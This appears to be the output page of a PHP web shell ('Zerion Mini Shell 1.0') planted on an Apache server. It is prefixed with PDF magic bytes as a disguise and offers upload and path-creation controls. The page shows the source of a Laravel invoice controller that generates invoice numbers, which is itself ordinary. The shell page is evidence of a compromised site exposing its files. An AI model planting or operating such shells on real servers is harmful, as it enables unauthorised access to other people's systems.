%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/local/apache/htdocs/app/Http/Controllers/
Upload File :
Create Path :
Current File : //proc/self/root/usr/local/apache/htdocs/app/Http/Controllers/FactureController.php

<?php

namespace App\Http\Controllers;

use App\Models\Facture;
use Illuminate\Http\Request;

class FactureController extends Controller
{
        /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $factures_client = Facture::where('num_facture', 'like', "%-C-%")->whereNotIn('client_id', [0] )->get();
        $factures_fournisseur = Facture::where('num_facture', 'like', "%-F-%")->whereNotIn('client_id', [0] )->get();
        return view('factures.index', compact('factures_fournisseur','factures_client'));
    }


    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        $factures = new Facture();
        
        if ( $request->id ) {
            $factures = Facture::find($request->id);
        }

        $factures->num_facture = $request->input('num_facture');
        $factures->type = $request->input('type');
        $factures->date = $request->input('date');
        $factures->taux_id = $request->input('taux_id');
        $factures->client_id = $request->input('client_id');
     

        $factures->save();

        $request->session()->flash('status','vous avez ajouté avec succès une nouvelle facture');

        return redirect()->route('products');
     
    }

    public function api(Request $request, $user) {
        $type = $request->type;

        switch ($type) {
            case 'facture':
                $type = 'FA';
                break;
            case 'livraison':
                $type = 'BL';
                break;
            case 'commande':
                $type = 'BC';
                break;
            case 'sortie':
                $type = 'BS';
                break;
            case 'devis':
                $type = 'DV';
                break;
        }

        $year = gmdate('Y');
        $num_facture = '';
        $facture = Facture::where('num_facture', 'like', "{$type}-{$user}-%/{$year}")->orderByDesc('num_facture')->first();

        if( !$facture || !$facture->exists()) {
            $num_facture = "{$type}-{$user}-001/{$year}";
        } else {
            $parts = explode('-', $facture->num_facture);
            $parts = explode('/', $parts[2]);
            $num   = (int) $parts[0];
            $num++;
            $num = sprintf("%03d", $num);
            unset($parts);
            $num_facture = "{$type}-{$user}-{$num}/{$year}";
        }

        return response()->json(['num' => $num_facture], 200);
    }
}

Zerion Mini Shell 1.0